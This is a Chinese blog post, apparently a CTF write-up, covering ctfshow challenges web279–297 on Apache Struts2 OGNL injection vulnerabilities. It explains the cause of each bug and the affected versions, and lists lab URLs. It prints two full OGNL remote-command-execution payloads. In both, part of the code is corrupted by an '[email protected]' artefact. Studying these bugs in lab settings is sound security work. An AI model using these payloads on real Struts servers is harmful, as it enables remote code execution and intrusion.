首页 > 编程语言 >Java漏洞复现(ctfshow279-297)strust 漏洞复现及原理解释

Java漏洞复现(ctfshow279-297)strust 漏洞复现及原理解释

时间:2024-07-27 11:26:09浏览次数:22  
标签:ctfshow279 S2 Struts 漏洞 复现 env 2.3 action

Java漏洞复现

Strust原理

JavaEE--------Struts2框架-CSDN博客

Web279

struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。

这里的%{value}简单理解就是和flask的模板注入{{}}差不多 会对里面的内容进行解析

因此我们可以利用其进行命令执行

访问:

https://a92d64a9-8002-46d5-8f59-f11865ad32ad.challenge.ctf.show/S2-001/login.action

添加cookie:

JSESSIONID=7E8A2700754C4F23FB59EA13B5E66258

利用工具扫描漏洞

命令执行:

env

Web280

struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(u0023)或8进制(43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开

https://b3db2c9f-0e82-443b-9c65-9ad58b5396ba.challenge.ctf.show/S2-005/example/HelloWorld.action

添加cookie

JSESSIONID=48532210EF370D206347C46234D5D001

工具扫描命令执行env

Web281

描述: Apache Struts是美国阿帕奇(Apache)软件基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品,Struts 1和Struts 2。 攻击者可以将恶意代码放入http报文头部的Content-Disposition的filename字段,通 过不恰当的filename字段或者大小超过2G的Content-Length字段来触发异常,进而导致任意代码执行。

https://8936a353-7a11-4429-bcb7-65f6d498efd5.challenge.ctf.show/S2-007/user.action

工具扫描出漏洞

env

Web282

2.3.1.1 之前的 Apache Struts 中的 CookieInterceptor 组件不使用参数名称白名单,这允许远程攻击者通过精心制作的 HTTP Cookie 标头执行任意命令,该标头通过静态方法触发 Java 代码执行。

访问

https://b1c01aa2-1742-47fa-b3aa-ff1eaa81c211.challenge.ctf.show/S2-008/cookie.action

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web283

Struts2对S2-003的修复方法是禁止#号,于是s2-005通过使用编码\u0023或\43来绕过;后来Struts2对S2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。

但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法来执行它,从而绕过官方对#、\等特殊字符的防御。

影响版本Struts 2.1.0-2.3.1.1

https://6b357185-faa4-4d43-963f-ba528b32cb1f.challenge.ctf.show/S2-009/showcase.action

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web284

原理:

从漏洞公告中获悉漏洞会出现的场景:如果一个Action定义了一个变量比如uname,当触发了redirect类型的返回时,如果重定向的url后面带有?uname=${uname},则在这个过程中会对uname参数的值进行OGNL表达式计算。

https://0a239cda-2512-44c9-83ed-07670463fa01.challenge.ctf.show/S2-012/user.action

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web285

漏洞原理:

Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

none - 链接不包含请求的任意参数值(默认)

get - 链接只包含 GET 请求中的参数和其值

all - 链接包含 GET 和 POST 所有参数和其值

<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞

访问页面;

https://5e53e6c4-6db0-450a-ad90-5d0eddc60b37.challenge.ctf.show/S2-013/link.action

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web286

漏洞原理:

漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:

<package name="S2-015" extends="struts-default">

    <action name="*" class="com.demo.action.PageAction">

        <result>/{1}.jsp</result>

    </action>

</package>

上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / " \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功

还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过 #_memberAccess['allowStaticMethodAccess']=true 来修改其值达到重获静态方法调用的能力

访问网页

https://ff65f398-559d-4601-994e-befe0c0e4c1e.challenge.ctf.show/S2-015/welcome.action

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web287

漏洞原理:

在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令

所以,访问http://your-ip:8080/index.action?redirect:OGNL表达式即可执行OGNL表达式

影响版本: 2.0.0 - 2.3.15

访问网页

https://3373d80f-d16a-4c00-8cf2-a162c1a44fd2.challenge.ctf.show/S2-016/default.action

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web288

漏洞原理

动态方法调用的默认启用,原理类似于s2-008

Apache Struts 2的“Dynamic Method Invocation”机制是默认开启的,仅提醒用户如果可能的情况下关闭此机制,这样就存在远程代码执行漏洞,远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码

访问网页

https://e78af4f0-f8a5-401d-94ae-72a7f91c6b28.challenge.ctf.show/S2-019/example/HelloWorld.action

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web289

漏洞原理

Struts框架被强制执行时,对分配给某些标签的属性值进行双重评估,因此可以传入一个值,当一个标签的属性将被渲染时,该值将被再次评估

例如:代码执行过程大致为先尝试获取value的值,如果value为空,那么就二次解释执行了name。并且在执行前给name加上了”%{}”。最终造成二次执行

影响版本:Struts 2.0.0 - Struts 2.3.24.1(2.3.20.3除外)

访问网页

https://1908b8d7-efee-4780-96b5-c6b1b6a63659.challenge.ctf.show/S2-029/default.action

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web290

漏洞原理

Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>的方式来调用名字是<name>的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞

影响版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

访问网页

https://efb96afc-c69b-4efa-847c-0a59c83658cd.challenge.ctf.show/S2-032/memoedit.action?id=3

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web291

漏洞原理

当开启动态方法调用,并且同时使用了Strut2 REST Plugin插件时,使用“!”操作符调用动态方法可能执行ognl表达式,导致代码执行

影响版本:Struts 2.3.20 – Struts 2.3.28 (不包括 2.3.20.3和 2.3.24.3)

访问网页

https://2af2db99-e298-45ce-8d9f-e9cbf9750142.challenge.ctf.show/S2-033/orders

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web292

漏洞原理

与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用\x00截断

影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

访问网页

https://8eb617fc-e8b9-4156-b25a-0037c79423d5.challenge.ctf.show/S2-037/orders

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web293

漏洞原理

在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵

恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令

影响版本:Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

访问网页

https://03ddefd2-67c3-4933-8319-d8496c27377c.challenge.ctf.show/S2-045/orders

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web294

漏洞原理:

与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用\x00截断

影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

访问网页

https://0e4071fd-26d8-49c8-9ee1-8128789597c5.challenge.ctf.show/S2-046/doUpload.action

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web295

漏洞原理

漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用

而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以调用 getText() 函数,这个函数刚好又能执行OGNL表达式,同时这个 getText() 的 参数输入点,又可以被用户直接进行控制,如果这个点被恶意攻击者所控制,就可以构造恶意执行代码,从而实现一个RCE攻击

影响版本: 2.0.0 - 2.3.32

访问网页

https://550f7b64-9a87-43e3-991b-1effb6b8b618.challenge.ctf.show/S2-048/viewSource.action?config=file:/usr/local/tomcat/webapps/S2-048/WEB-INF/classes/struts.xml:78&className=com.opensymphony.xwork2.ActionSupport&page=///WEB-INF/showcase.jsp

工具扫描:

Poc:

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())).(#q)}

Web296

漏洞原理

Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:

扩展名 Content-Type 解析方法

xml application/xml xstream

json application/json jsonlib或jackson(可选)

xhtml application/xhtml+xml 无

无 application/x-www-form-urlencoded 无

无 multipart/form-data 无

jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:

<classname></classname>

//或者

<paramname class="classname"></paramname>

所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget

影响版本:Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

访问网页

https://4c25fcc4-d874-4020-ab16-ff1529cba4c5.challenge.ctf.show/S2-052/orders/3/edit

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

Web297

漏洞原理

Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞

访问网页

Poc:

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

添加cookie:

JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5

命令执行:env

CTFshow刷题日记-WEB-JAVA(web279-300)Struts2全漏洞复现,Java漏洞复现-CSDN博客

标签:ctfshow279,S2,Struts,漏洞,复现,env,2.3,action
From: https://blog.csdn.net/m0_74402888/article/details/140724678

相关文章

  • 【漏洞复现】用友 NC FileReceiveServlet 任意文件上传漏洞
    免责声明:        本文内容旨在提供有关特定漏洞或安全漏洞的信息,以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步,并非出于任何恶意目的。阅读者应该明白,在利用本文提到的漏洞信息或进行相关测试时,可能会违反某些法律法规......
  • 【nacos】记一次使用NacosExploitGUI扫描发现nacos安全漏洞
    一、场景   公司使用nacos作为配置和注册中心,使用的版本是1.4.0 二、下载NacosExploitGUIhttps://github.com/charonlight/NacosExploitGUI下载release中的压缩包  三、运行NacosExploitGUI1、运行$java-jarNacosExploitGUI_v4.0.jarError:JavaFXruntime......
  • Vivotek CC8160 栈溢出漏洞复现
    漏洞文件https://github.com/Vu1nT0tal/IoT-vulhub/tree/master/VIVOTEK/remote_stack_overflow另需文件arml内核,文件系统,arm-gdbserver,initrd。https://people.debian.org/~aurel32/qemu/armel/启动qemu-systemqemu-system-arm-Mversatilepb-kernelvmlinuz-3.2.0-4-v......
  • D-Link DSL-2740EL路由器漏洞报告
    验证视频.mp4模拟使用FirmAE一键模拟./init.shsudo./run.sh-rdlinkDSL.img然后通过nb转发到宿主机./nb-tran7070192.168.1.1:80漏洞点sprintf函数没有任何检测直接拼接ip,并且只检测了一个ip格式是否正确,所以只需要合理构造rop链即可攻击成功。pocPOST/cgi-......
  • CVE-2018-5767 tenda固件栈溢出漏洞
    路由器固件型号:TendaAC1515.03.1.16_multi固件下载地址:https://drivers.softpedia.com/dyn-postdownload.php/d27e8410d32cd9de63a3506c47ded1bc/61ff85c5/75eb7/4/1binwalk分离binwalk-MeUS-bin漏洞点:在squashfs-root/bin/httpd可以通过readelf-hhttpd来查......
  • 华为路由器漏洞CVE-2017-17215
    固件获取https://github.com/Vu1nT0tal/IoT-vulhub/tree/master/HUAWEI/CVE-2017-17215/firmware提取binwalk-MerHG532eV100R001C01B020_upgrade_packet.bin启动qemu-systemsudoqemu-system-mips-Mmalta-kernelvmlinux-3.2.0-4-4kc-malta-hdadebian_wheezy_mips......
  • 文件包含漏洞及利用
    一、文件包含功能1、文件包含的作用:减小代码的荣誉2、文件包含函数:  include 、 require3、文件包含的方式   静态文件包含------文件名是固定的------a.php中存在普通的字符串,被b.php包含, a.php中的字符串会直接完成输出 a.php中存在可执行的PHP代码,被b.php......
  • 墨者学院“SQL注入漏洞测试(POST)”攻略
    1、idport(http://124.70.71.251:46281/)2、在登录时,使用BurpSuite抓包3、右击SendtoRepeater4、将包中最后一行修改为“name=admin'unionselect1,2,3---&password=admin”5、成功登录,获得KEY......
  • 天问物业ERP系统 ContractDownLoad.aspx 任意文件读取漏洞复现
    0x01产品简介天问互联科技有限公司以软件开发和技术服务为基础,建立物业ERP应用系统,向物管公司提供旨在降低成本、保障品质、提升效能为目标的智慧物管整体解决方案,实现物管公司的管理升级;以平台搭建和资源整合为基础,建立社区O2O服务平台,向物管公司提供旨在完善服务、方便业主......
  • 复现
    DownUnderCTF2024parrottheemu猜测sstizoofeedbackformXXE文件读取co2python原型链污染看到关键点,/save_feedback和get_flag当我们在feedabck传入信息,信息回传到save_feedabck保存,get_flag用于检测传入的值是否为true,如果值为true,在get_flag中就能访问到flag......